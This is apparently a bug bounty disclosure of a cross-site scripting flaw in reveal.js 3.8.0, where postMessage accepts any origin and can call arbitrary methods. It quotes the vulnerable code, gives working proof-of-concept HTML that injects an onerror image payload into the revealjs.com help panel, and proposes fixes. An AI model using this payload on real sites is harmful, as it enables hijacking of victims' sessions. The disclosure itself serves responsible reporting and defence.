Node.js third-party modules · Report #691977
[reveal.js] XSS by calling arbitrary method via postMessage
How it was found
I would like to report XSS in reveal.js It allows gaining access to the victim's account and performing actions on his behalf
Module
module name: reveal.js
version: 3.8.0
npm page: https://www.npmjs.com/package/reveal.js
Module Description
A framework for easily creating beautiful presentations using HTML. Check out the live demo.
reveal.js comes with a broad range of features including nested slides, Markdown contents, PDF export, speaker notes and a JavaScript API. There's also a fully featured visual editor and platform for sharing reveal.js presentations at slides.com.
Module Stats
[N/A] downloads in the last day [4666] downloads in the last week [N/A] downloads in the last month
Vulnerability
Vulnerability Description
The setupPostMessage function accepts messages from arbitrary origins and allows calling any method available in Reveal:
function setupPostMessage() {
if( config.postMessage ) {
window.addEventListener( 'message', function ( event ) {
var data = event.data;
// Make sure we're dealing with JSON
if( typeof data === 'string' && data.charAt( 0 ) === '{' && data.charAt( data.length - 1 ) === '}' ) {
data = JSON.parse( data );
// Check if the requested method can be found
if( data.method && typeof Reveal[data.method] === 'function' ) {
Reveal[data.method].apply( Reveal, data.args );
}
}
}, false );
}
}
For the proof of concept let's consider the addKeyBinding method. It pushes the provided key data (code, description and callback) into the registeredKeyBindings array:
function addKeyBinding( binding, callback ) {
if( typeof binding === 'object' && binding.keyCode ) {
registeredKeyBindings[binding.keyCode] = {
callback: callback,
key: binding.key,
description: binding.description
};
}
else {
registeredKeyBindings[binding] = {
callback: callback,
key: null,
description: null
};
}
}
which in its turn is put into HTML without sufficient validation within the showHelp method:
function showHelp() {
...
for( var binding in registeredKeyBindings ) {
if( registeredKeyBindings[binding].key && registeredKeyBindings[binding].description ) {
html += '<tr><td>' + registeredKeyBindings[binding].key + '</td><td>' + registeredKeyBindings[binding].description + '</td></tr>';
}
}
...
}
All in all this allows the attacker to perform XSS via postMessage by submitting payloads in its data (PoC against the https://revealjs.com homepage):
<html>
<head>
<title>XSS</title>
<style>
iframe
{
width: 100%;
height: 100%;
border: none;
}
</style>
</head>
<body>
<iframe name="reveal" src="https://revealjs.com" onload="xss()"></iframe>
<script>
var frame = window.frames.reveal
function xss ()
{
frame.postMessage ('{"method":"addKeyBinding","args":[{"keyCode":666,"key":"Pwned","description":"<img src=x onerror=alert(document.domain)>"}]}', '*')
frame.postMessage ('{"method":"toggleHelp"}', '*')
}
</script>
</body>
</html>
<script>
var win = window.open ('https://revealjs.com')
function xss ()
{
win.postMessage ('{"method":"addKeyBinding","args":[{"keyCode":666,"key":"Pwned","description":"<img src=x onerror=alert(document.domain)>"}]}', '*')
win.postMessage ('{"method":"toggleHelp"}', '*')
}
setTimeout (xss, 500)
</script>
http://spqr.zz.mu/reveal_open.php
Steps To Reproduce:
Open one of these links in any browser and wait for the page to load:
{F579591}
Patch
- Use secure HTML assignment at the
showHelpmethod - Check other available methods for similar vulnerabilites
- By default allow calling secure methods only
- By default turn on secure configs only
- Prohibit overriding them via seach params
- By default allow messages from whitelisted origins only
Supporting Material/References:
- Any
- 4.0.0 or later
- Any
- Any
- Any
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Hunter's comments and funny memes goes here
Presentation with reveal.js about xss
{F579592}
Impact
Gaining access to the victim's account and performing actions on his behalf